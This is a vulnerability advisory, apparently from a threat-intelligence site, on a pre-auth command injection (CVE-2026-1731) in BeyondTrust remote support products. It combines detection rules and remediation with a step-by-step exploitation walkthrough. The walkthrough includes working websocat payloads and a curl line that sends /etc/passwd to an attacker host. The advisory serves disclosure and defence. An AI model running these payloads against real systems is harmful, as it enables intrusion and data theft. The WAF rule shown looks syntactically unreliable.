CRITICAL CVSS: N/A โ€ข 2026-02-16

CVE-2026-1731: Critical Pre-Auth RCE in BeyondTrust Remote Support Products

Unauthenticated OS command injection vulnerability in BeyondTrust Remote Support and Privileged Remote Access allows remote code execution

CVE-2026-1731: Critical Pre-Auth RCE in BeyondTrust Remote Support Products

Executive Summary

CVE-2026-1731 represents a critical security vulnerability affecting BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) products. This OS command injection flaw allows unauthenticated remote attackers to execute arbitrary operating system commands in the context of the site user, requiring no authentication or user interaction.

The vulnerability has been assigned a maximum risk score of 100 and has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Organizations using affected BeyondTrust products face immediate risk of complete system compromise, including unauthorized access, data exfiltration, and service disruption.

Given BeyondTrust's prominent role in privileged access management and remote support solutions across enterprise environments, this vulnerability poses significant risk to critical infrastructure and sensitive data. Immediate action is required to assess exposure and implement protective measures.

Technical Deep Dive

Vulnerability Mechanics

CVE-2026-1731 is classified as CWE-78 (OS Command Injection) and exploits improper input validation in the WebSocket handling mechanism of BeyondTrust's remote support infrastructure. The vulnerability exists within the thin-scc-wrapper script that processes WebSocket connections for the customer thin client interface.

The attack vector leverages a specific combination of:

  1. Unauthenticated Portal Information Extraction: Attackers can query the /get_portal_info endpoint to extract company identifiers without authentication
  2. WebSocket Protocol Abuse: The WebSocket endpoint /nw accepts connections using the protocol "ingredi support desk customer thin"
  3. Command Injection via Bash Arithmetic Evaluation: Malicious payloads are injected through bash arithmetic evaluation expressions $((command))

Attack Flow Analysis

The exploitation process follows a sophisticated multi-stage approach:

Stage 1: Reconnaissance

  • Attacker discovers exposed BeyondTrust instances
  • HTTP/HTTPS requests to /get_portal_info extract company metadata using regex pattern company=([^;]+)

Stage 2: WebSocket Establishment

  • WebSocket connection established to wss://target:443/nw
  • Connection uses specific protocol header: "ingredi support desk customer thin"
  • Custom header X-Ns-Company populated with extracted company name

Stage 3: Payload Injection

  • Crafted payload structure: hax[$(COMMAND)]\\nGUID\\n0\\naaaa\\n
  • The payload exploits bash arithmetic evaluation in version comparison operations
  • Commands execute within the context of the BeyondTrust service process

Code Execution Context

The vulnerability allows command execution in the context of the site user running the BeyondTrust service. This typically provides:

  • File system access with service account privileges
  • Network connectivity for data exfiltration
  • Potential for privilege escalation through local exploits
  • Access to sensitive configuration data and credentials

Exploitation Walkthrough

Prerequisites

  • Network access to target BeyondTrust instance (port 443)
  • websocat tool for WebSocket communication
  • Python 3 with requests library
  • No authentication credentials required

Step-by-Step Exploitation

1. Environment Setup

# Install required tools
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat

# Create target list
echo "target.beyondtrust.com" > domains.txt

2. Portal Information Extraction

import requests
import re

def extract_portal_info(domain):
    try:
        response = requests.get(f"https://{domain}/get_portal_info", timeout=10)
        company_match = re.search(r'company=([^;]+)', response.text)
        return company_match.group(1) if company_match else None
    except:
        return None

3. WebSocket Payload Delivery

# Basic command execution payload
echo "hax[\$(whoami)]\\nGUID\\n0\\ntest\\n" | ./websocat \
  "wss://target.com:443/nw" \
  --protocol "ingredi support desk customer thin" \
  --header "X-Ns-Company: ExtractedCompanyName"

# Data exfiltration payload
echo "hax[\$(curl -d @/etc/passwd http://attacker.com/collect)]\\nGUID\\n0\\ntest\\n" | ./websocat \
  "wss://target.com:443/nw" \
  --protocol "ingredi support desk customer thin" \
  --header "X-Ns-Company: ExtractedCompanyName"

4. Verification Techniques

  • DNS exfiltration using services like interact.sh or Burp Collaborator
  • HTTP callbacks to attacker-controlled infrastructure
  • Time-based verification using sleep commands

Detection & Monitoring

Network-Based Detection

Monitor for the following suspicious patterns:

WebSocket Connection Patterns:

- Connections to /nw endpoint with specific protocol headers
- X-Ns-Company header usage in WebSocket handshakes
- Unusual WebSocket traffic volume to BeyondTrust instances

YARA Rule for Payload Detection

rule CVE_2026_1731_BeyondTrust_Command_Injection {
    meta:
        description = "Detects CVE-2026-1731 BeyondTrust Remote Support OS Command Injection exploit payloads"
        author = "ilovethreats.com Security Team"
        date = "2026-02-16"
        cve = "CVE-2026-1731"
        severity = "critical"

    strings:
        $payload_pattern = "hax[$()" ascii nocase
        $websocket_protocol = "ingredi support desk customer thin" ascii nocase
        $company_header = "X-Ns-Company:" ascii nocase
        $endpoint_portal = "/get_portal_info" ascii nocase
        $endpoint_ws = "/nw" ascii nocase
        $injection_marker = ")]\\nGUID\\n0\\n" ascii nocase

    condition:
        any of ($payload_pattern, $injection_marker) or
        ($websocket_protocol and $company_header) or
        2 of ($endpoint*)
}

Sigma Rule for Log Analysis

title: CVE-2026-1731 BeyondTrust Command Injection Activity
id: 12345678-1234-5678-9012-123456789abc
description: Detects exploitation attempts of CVE-2026-1731 BeyondTrust command injection
author: ilovethreats.com
date: 2026/02/16
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1731
logsource:
    category: webserver
detection:
    selection1:
        cs-uri-stem: '/get_portal_info'
    selection2:
        cs-uri-stem: '/nw'
        cs-referer|contains: 'websocket'
    selection3:
        sc-status: 101  # WebSocket upgrade
        cs-uri-stem: '/nw'
    condition: any of selection*
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.1731

Host-Based Detection

Monitor for:

  • Unusual process spawning from BeyondTrust service accounts
  • Unexpected network connections from BeyondTrust processes
  • File system modifications in temporary directories
  • DNS queries to suspicious or newly registered domains

Remediation Guidance

Immediate Actions

  1. Asset Inventory: Identify all BeyondTrust RS and PRA instances in your environment
  2. Network Isolation: Implement network segmentation to limit exposure
  3. Access Restrictions: Apply IP allowlisting for administrative access
  4. Monitoring Enhancement: Deploy detection rules and increase logging verbosity

Vendor-Specific Mitigations

  • Apply security updates as released by BeyondTrust
  • Follow BOD 22-01 guidance for cloud service implementations
  • Consider temporary service disruption if mitigations are unavailable
  • Implement Web Application Firewall (WAF) rules to block malicious payloads

Configuration Hardening

# Example WAF rule to block exploitation attempts
# Block WebSocket connections with suspicious payloads
ModSecurityRule "ARGS|REQUEST_BODY" "@detectBytecode hax[$()" \
    "id:100001,phase:2,block,msg:'CVE-2026-1731 Exploitation Attempt'"

Long-term Security Measures

  • Implement comprehensive input validation for all WebSocket communications
  • Deploy endpoint detection and response (EDR) solutions
  • Establish secure baseline configurations for BeyondTrust deployments
  • Regular penetration testing focusing on remote access solutions

References


This analysis is provided for educational and defensive purposes. Always follow responsible disclosure practices and obtain proper authorization before conducting security testing.

๐Ÿงช Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • โœ… Isolated vulnerable target instance to exploit
  • โœ… Kali Linux attacker VM with pre-installed tools
  • โœ… Browser-based desktop access (Apache Guacamole)
  • โœ… Completely isolated network (no internet)
  • โœ… 1-hour session with automatic cleanup
โš ๏ธ Free tier: 1 concurrent session max. Session expires after 1 hour.